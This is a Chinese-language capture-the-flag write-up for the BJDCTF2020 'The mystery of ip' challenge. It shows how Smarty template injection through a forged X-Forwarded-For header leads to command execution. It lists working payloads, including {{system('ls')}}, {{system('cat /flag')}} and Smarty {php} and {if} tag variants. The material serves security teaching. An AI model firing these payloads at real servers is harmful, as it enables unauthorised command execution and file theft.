[BJDCTF2020]The mystery of ip
文章目录
- [BJDCTF2020]The mystery of ip
- 掌握知识
- 解题思路
- 关键paylaod
- smarty可利用paylaod
掌握知识
ssti里的php语言smarty模板注入
解题思路
- 访问题目链接,发现导航条的
flag和hint两个吸引人的题目,先查看flag发现输出了我的IP地址,再去hint查看,发现页面没东西,查看源代码发现一串英文,你觉得我为什么知道你的IP?怀疑是读取请求包中的XFF头



- 直接抓
flag界面的数据包,修改xff请求头IP地址,发现成功返回修改的内容。难道是请求头的SQL注入,但前面有遇到过XFF的ssti模板注入,先尝试一下模板注入,输入paylaod:{{7*7}},发现得到了49,验证了ssti模板注入


- 尝试使用常见的类作为
payload查看返回内容,发现都出现了错误


- 查看了一下
wapp发现页面是php代码写的,前面用的类是应用在python代码下的,没关注一开始。经过验证a{*comment*}b发现是smarty模板注入


php和python的模板注入差别还是蛮大的,直接尝试是否可以命令执行,发现成功返回结果system('ls'),直接cat命令读取flag.php,拿下


关键paylaod
{{7*7}}
a{*comment*}b
{{system('ls')}}
{{system('cat /flag')}}
smarty可利用paylaod
{{system("ls")}}
{php}phpinfo();{/php} php标签
{if phpinfo()}{/if} if 标签













![[0xGame 2023] week1](https://img-blog.csdnimg.cn/26c6d04e3c93485b9c1d008dd690aa48.png)





